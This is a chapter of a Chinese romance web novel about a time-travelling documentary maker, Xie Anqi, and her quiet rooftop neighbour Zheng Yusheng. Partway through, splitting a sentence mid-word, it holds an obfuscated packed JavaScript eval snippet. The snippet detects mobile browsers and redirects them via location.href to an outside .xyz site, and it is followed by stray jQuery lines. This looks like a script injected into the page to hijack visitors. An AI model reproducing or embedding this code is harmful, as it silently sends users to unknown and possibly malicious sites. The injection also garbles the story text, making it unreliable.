清晨的屋塔房很静。
那种静不是没有声音，而是只剩“屋塔房才有的声音”：雨后瓦片滴水，老木门关不严，风掠过水泥砌顶边缘时发出低低的“呜”声，楼下厨房起灶火的咔哒声，和不远处市场送货车压过井盖的咚声。
中午十二点，空气是黏的，窗玻璃仿佛被太阳握住，蒸得泛白。屋内天花板不高，风扇叶片咔哒转动，吹出的风也带着焦味。
老木地板吸了整日阳光，踩上去是烫的，指尖一碰就要缩回。远处锅贴摊的铁板声断断续续地敲进来，像谁在用铁勺子慢慢刮锅底。
谢安琪坐在床边，贴了半张膏药的后颈有点黏。她从屋檐边探出半张脸，看见晾衣杆上的T恤被风吹起一角。
是他的。那件黑T恤，洗过了，变旧得发灰。
郑禹胜的窗还开着，房间里透出一点金属碰撞的声音，像是他在收拾工具。她没看过去，手里攥着一支笔，不知道什么时候才松开。
她昨晚安安静静地呆了一晚，怕弄出动静——怕他听见，不是怕他会不高兴，而是怕他听见后，以为她在刻意关注他。
她靠在窗边看着早晨的天一点一点变亮，像是把时间拧慢了：从清灰色的天光到蛋白色的云层，再到淡蓝色的城市屋顶。
人也清醒得慢。
就像她和他之间的“认识”，慢得几乎像从陌生开始。
但她知道不是。
……
屋顶的风来得迟缓，掠过水塔和晾衣杆时发出一连串喃语。西边天色橙得发红，胡同尽头的小超市门口挂着的塑料帘子被风一下一下掀起，像谁不耐烦地撩开回忆。
几只麻雀停在邻房的天线杆上，叫得不紧不慢，像旧收音机的背景声。风吹过晒了一天的被子，带来一点洗衣粉和旧棉布混合的味道。谢安琪清晨喜欢坐在这里发呆，直到肌肤逐渐忍受不了炎热，她才起身下楼买早餐时，碰巧和他在胡同口遇上。
郑禹胜背着帆布袋，袋口露出一卷画纸，不知道要做什么的。
他走得不快，眼神朝她那边扫了一下，但没停，她站住，指了指他手里的板子：“今天不上班？”
他看她一眼，点了点头：“换班了，换着时间上班。”
“咖啡店离这里很近吗？”
“还行吧。”他说完，又加了句，“反正远近也没什么不同了。”话落得干净。
她跟上他半步，又不太想太快追上，阳光从头顶斜斜落下，在墙上印出两人影子，一长一短。她眼角看着，忽然有点晃神。
他走在前面，左肩背着画板，影子被风切得有点虚，像以前那个录像里的他，没什么不同。可那段录像里的他，从没回过头。
她忽然开口：“你好像会弹琴？最近是在学中提琴？”
他像是没想到她会问这个，微微顿了一下，说：“没学了。”
她轻轻笑：“挺意外的。”
他没回头：“哪里意外？”
“你看起来挺像抓了机会就会学习的人。”
郑禹胜没答，只是脚步顿了顿，像在想着要不要反驳。
她又说：“那是夸奖。”
他终于偏头，看了她一眼，嘴角没笑，但眉心松了一点：“那谢谢。”
回到屋塔房后，她把早餐摆在阳台边的小桌上，泡菜饭团和一杯冰牛奶——这是她在这个时代最容易适应的早饭。
她没关窗，风吹进来，带着楼下晒被子的阳光味。还有一点没干透的洗衣水味，混着洗衣粉和石灰墙的潮湿，黏在空气里。
她对着那盒饭团发呆了十分钟，最后没吃几口。
她脑子里还是上午那几分钟的场景。
郑禹胜走在她前面，背有点沉，他的耳朵被阳光照出微红，侧脸像是剪影，一动不动。他回答问题时语气平，但每句都像没在预设任何反应。他不像是对话者，更像是默许你“在他面前自说自话”。
她忽然很想知道——他是不是一直都是这个样子，还是只有在这一条时间线上，他还没来得及“热起来”。
她在本子上写下：“郑禹胜·温度未定。”
笔迹歪歪斜斜，像她对他的判断。
……
她计划午后去邮局打了一通电话，这个时代不能随便用公用电话拨长途，要登记护照号，她用了那张伪造文件上的“文化助理”身份，填了一张纸。邮局的玻璃窗有点花，夏天贴了塑料纸防晒，颜色偏蓝。
她拨出那串号码时，手指是微抖的。
这是她在2026年找到的那个教授——她资料伪造的来源，也是她“能留下来”的唯一依靠。
电话响了三声，对方接起来，是女人。
她轻声问：“朴仁洙教授在吗？”
对面说：“不在。”
“你知道什么时候回来？”
“他最近不太在学校。”女人声音不快不慢，“你是哪位？”
“我是他研究调研计划的学生。”她尽力让语气平稳，“华国派的。”
女人顿了两秒，说：“我知道这件事了。他交代过，资料如果是调研用的，可以留。”
她终于呼出一口气：“谢谢您。”
电话挂断时，她把那张纸握成一团。
风在邮局门口转了一下，吹得她裙角乱摆。
她站在门口站了好一会儿，才走出去。
她忽然想到，如果自己没有这些预先准备的资料，如果她只是毫无准备地被扔来——那现在的她，会在哪里？
在屋塔房里被查无身份？
还是根本就见不到他？
她站在巷口，抬头看了一眼天，天蓝得发白，像一张未干的水粉纸，但是回去走没几步路就下起雨，谢安琪走进便利店等着，直到雨停。下过雨的巷子比平时更静。积水滞在不平的水泥地面上，映出高压电线和铁皮雨棚的倒影。便利店门前堆着没收进的啤酒箱，路边是倒着晾晒的三轮车篷布。
整条街像被一张透明的塑料布盖住了，声音闷，连电动车路过时轮胎碾水的声音都变得迟缓。
傍晚的时候，她在屋顶晾衣服，晾衣绳不够高，她踩着一把旧木椅，手里拎着一条洗得掉色的白衬衫，那是她从跳蚤市场捡的，样式老，但洗干净了，有一点居家味，风吹过来，把衣角吹得拍她脸上。
她咬着夹子，一手提衬衫，一手拉绳子，正费劲地挂衣服时，听见后面有人上楼。
“你要掉下来了。”他站在楼梯口，手里是一个还在冒热气的保温盒。
她没回头：“我抓得住。”郑禹胜走过来，站在她下方一阶的位置，微仰头看着她：“你力气不够。”
她偏头看他：“你怎么知道我力气不够？”
“你晃了一下。”
她叹了口气：“你非得拆我台吗？”
他不说话，只是伸手扶住椅背：“下来，我挂。”
她愣了一秒，忽然松了手，他很自然地接过那件衬衫，抖了一下，夹在中间，风正好吹过来，衣角拍在他脸上，他也没动，她站在他身后，忽然觉得，这个画面她见过。
不是哪一世的穿越，也不是哪一段录像。
是她曾想象过的——如果他年轻时，真的和她有机会在一起，他们大概就是这个样子。
她看着他背影，心跳有一瞬的凌乱。
……
晚上快七点，天还没黑透，但光线已经慢了下来。屋塔房的天台晒了一整天的热，水泥地面还在冒蒸气。天台一侧堆着几张坏掉的竹椅和一只锈蚀的煤气罐，中间摆着旧方桌，上面放着一只塑料水壶，壶身雾气未散，像在吐息。
郑禹胜靠着围墙坐着，一条腿曲着，右手撑着地。他穿的T恤微湿，黏在背上，鬓角发丝被风吹起一缕，贴在额前。
他眼神没焦点，像是没打算看任何东西。
天台另一侧，谢安琪用空豆腐盒养了一株薄荷，正拿牙签撬开浇水瓶的瓶盖，水珠嘀嗒嘀嗒地滴进泥土里，像这场闷热夏天里唯一的耐心。
她装作没看见他，其实她耳朵一直在听——他有没有动，手有没有从膝盖上放下来，烟有没有点上。
他今天没抽烟，这让她更在意，她抬头看了一眼那片落日的橘色天边，想起从前在未来那张录像带里，也曾捕到这么一个角度——
那天他坐在灯塔下，也是这个姿势，画板立在脚边，阳光从石墙后照过来，他没说话，只在一张纸上写了两个字。
“空房。”
她从未理解那是什么意思，现在她忽然明白了，是他对时间的态度，他留空，总有人会来住。
……
天色彻底暗下来时，整条胡同只有两家点了灯。一家是她，另一家是卖布的老奶奶——门口挂着粉红色蚊帐，亮着一盏昏黄灯泡，光不够亮，把整间屋子染成一种接近旧照片的褐色。
谢安琪坐在屋里，把录音笔的电池装回去，点开重放。
“咔嗒。”
第一秒是屋外远远的拖鞋声，第二秒是小贩推车吆喝“绿豆饼”的声音，第三秒，是她自己开门回屋时，门锁发出的轻响。
然后是几秒安静。
接着，一个男声闷闷响起——“喂，饭拿回来了。”
她怔了一秒，按了暂停。
那不是她录的，是她捡录音笔时，不小心按下的。
那声音是从她屋外的屋塔房传来的。
她不记得那天是不是他哥哥来过。但这声音……像是他，语气轻，语尾略拐，有点拖，不那么清晰，却很实。
她盯着录音笔屏幕发了半分钟的呆，突然坐直，把笔合上放进抽屉。
她决定明天去问他。不是问这段录音。是找个理由，去接一段对话。屋塔房之间的墙薄得像空气，她住在他的墙边上，不该再像个路过者。
她没等到明天。因为郑禹胜提前来了。
晚上九点半，屋塔房楼道很安静，灯泡泛黄，蚊子围着光晃。电扇声、隔壁翻身的床响、巷口狗吠，全都在空气里拉得很长。
有人走过楼梯，脚步缓慢却沉重，每一下都像落在她心上。窗外晾着的一只旧蓝色T恤在夜风中缓缓晃着影子，像是沉默站在那儿的人。
她正坐在楼梯边喝水，他从楼下上来，左手提着小包，像是刚做完临时工作。
看见她，他没停步，只朝她点了下头。
她站起身，借着光看他，发现他右手虎口红了一片。
“你手怎么了？”
“搬箱子擦了点皮。”他说。
“你等等。”
她跑进屋，拿出医药箱，里面有她自己常备的酒精棉和小绷带。
他本能往后退了一点，但她没给他机会。
“你坐着。”她把他按在楼梯边的矮砖台上，蹲下，翻出棉签。
郑禹胜低头看她，眼睛里带一点不解：“你学医的？”
“不是。”她小心蘸了酒精，“是拍纪录片的。”
他“哦”了一声，没再问。
她专心帮他处理伤口，低着头，发丝顺着耳廓垂下，碰到他膝盖边。他没动，只是看着她的手指，那双手不白，也不纤细，像经常拿设备、写字的——带着点规律的茧。
他忽然问：“你拍的是哪一类？”
“随便拍拍，还在找自己想拍的声音。”她说。
“所以我算其中一个？”
她没抬头：“你是声音很小的人。”
他说不出话来。
她帮他贴好创可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507518|169893||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
贴后，站起来，后背轻轻拍了下衣角的灰。
“下次别用塑料绳搬箱子，会磨。”她说。
他看着她，点了点头，低声道：“谢了。”
楼上光线昏暗，郑禹胜没急着走进屋，而是转头，看她回屋时背影。她背挺得直，但每一步都像踩在热水上——像怕留痕，又怕踩空。
他靠在门边站了会儿，才进屋。屋里只有一盏桌灯。他打开水壶，烧了一壶热水，坐下翻画稿。
桌子上是他白天画的石屋剪影，铅笔压线，构图收得紧，像是没打算让别人进来。他把图纸翻过去，又翻回来，停在一个未完成的素描页上。那是一个女人的背影——没五官，没轮廓，只有头发和线条。画得草草，但他画了三遍。（1
一遍是坐姿，一遍是楼梯侧影，最后一遍，是她弯腰帮他贴药时的样子。他盯着那幅画，静了很久。
然后低头，把三幅都擦掉了。
屋外的夜风吹动塑料窗帘，发出微弱的窸窣声。
他没回头，也没再画。
谢安琪那晚回到屋里，发现自己在墙角搁着的录音本上，多了一支笔。
是她几天前借给他的。她没听见他什么时候还的。她只是摸了摸那只笔的尾端，有点发烫。像是刚被手握过不久。谢安琪看了眼窗外，屋顶无人，风穿过水塔，呼呼响。她回头拿出录音设备，没再听旧的，而是点开一个新音轨。
麦克风对着窗。她轻声说了一句：“郑禹胜。”
然后关了设备，她不确定这一声会不会录清，也不确定自己为什么要叫一声。
但她知道，真正的开场白，有时候不是“你好”，也不是“我们聊聊”。
而是你叫他一声，他没有转头，但听见了。他听见了，也没走。这就够了。
……
隔天早上，天气降温了一点。天空是湿灰的，空气带了点泥土味。楼下的锅贴铺照常开门，但铁板烙饼声听起来更像雨声，敲在鼓膜上，一下一下，轻却沉。
谢安琪泡了挂耳咖啡，坐在阳台边边那张折叠椅上，一边看稿子，一边等阳光透出来。
桌上的小风扇弱弱地吹着，她用橡皮筋把头发绑起来，留了两绺在耳侧，风一吹就轻轻扫过颈窝。
巷口传来搬货的声音，她没抬头，但她知道是他。
她听得出。
人的脚步其实比语音更诚实。他走路很稳，从不踢东西，也不急。
有些人脚步轻，是怕惊扰别人；而他，是不想多浪费一步力气。
她翻了页稿子，记下一句：“他的生活像一条胡同，走得慢，走得直，但很少回头。”
午饭时间，她在巷口遇到他，郑禹胜提着便当盒，站在水果摊前，正看着一堆熟透的香蕉发呆。
老板说：“再不买就烂了，小子。”
他“哦”了一声，挑了两根，丢了零钱。
谢安琪走过去，说：“你很喜欢香蕉？”
“便宜。”他语气平，“饱腹。”
她“嗯”了一声，没再说什么。
两人并肩走了半条胡同，阳光正巧照在她左侧脸颊上，她感觉脸上发热，不确定是太阳，还是身边的距离。
“你中午吃什么？”他问。
“泡菜豆腐汤。”她说，“店家给了我一颗生鸡蛋。”
他没应声。
过了一会儿，忽然说：“你不该住这里的。”
她顿住：“为什么？”
“你身上的东西太新。”
“什么？”
“你笔袋、包，还有那支录音笔。”他停下脚步，回头看她一眼，“都不是这个街区能有的。”
她嘴唇动了动，没回答，他没逼问，只是抬手指了指她的屋塔房方向：“你那个门，晚上别锁得太死。”
她皱眉：“怕什么？”
“怕火灾，怕煤气。”他垂眼，“也怕有人逃不出去。”
她听完这句，一时说不出话，他低头剥开香蕉皮，一口咬掉一半，转头就走。
她站在原地，看着他背影一点点沉进阳光斑驳的街角。
她忽然意识到，这种话，只有住过这里很久，或者见过人从这里消失的人，才会说。
……
那天晚上，她在笔记上写：“郑禹胜这个人，好像是一层不发光的箔纸——不发热，却能反射别人所有情绪。”她本想写完就睡，却又停笔加了一句：“但我也开始有点怕他——怕他太安静，怕他看穿我。”
她靠在墙角睡着时，录音笔没关，笔记灯也没关。电量用尽时发出一声轻响，把她从半梦半醒里惊回。
她坐起来，看见桌上多了一瓶水。是刚放上去的。
因为瓶身还有未散的水珠。她愣了两秒，走到门口开了一条缝，没人。
只是楼梯转角的那盏灯还亮着，亮得像有人刚经过。她站在门后，没说话。
也没追出去，她知道，是他。
他没进来，也没敲门——只放下一瓶水，就走了。她拎着那瓶水回屋，一饮而尽，水温刚好，像他留下的方式：不烫，不凉，不多说一句。
……
她开始习惯屋塔房的夜了。习惯猫跳上窗沿发出轻响；习惯风把纸吹起，她不追也知道会落在哪儿；习惯煤气罐在加热时“咕哝”的低语；也开始习惯，隔壁房间的脚步声。
她不知道自己还能待多久。
但她知道，只要郑禹胜还在这条胡同里，她就还有理由留下来。
她没再追问他记不记得她。也没问，这条时间线，是不是他们曾经交错过的哪一段。她只是坐在房间里，录音笔对着窗外，听屋顶的风声。
像在等一个答案。但不是现在。现在还不该知道。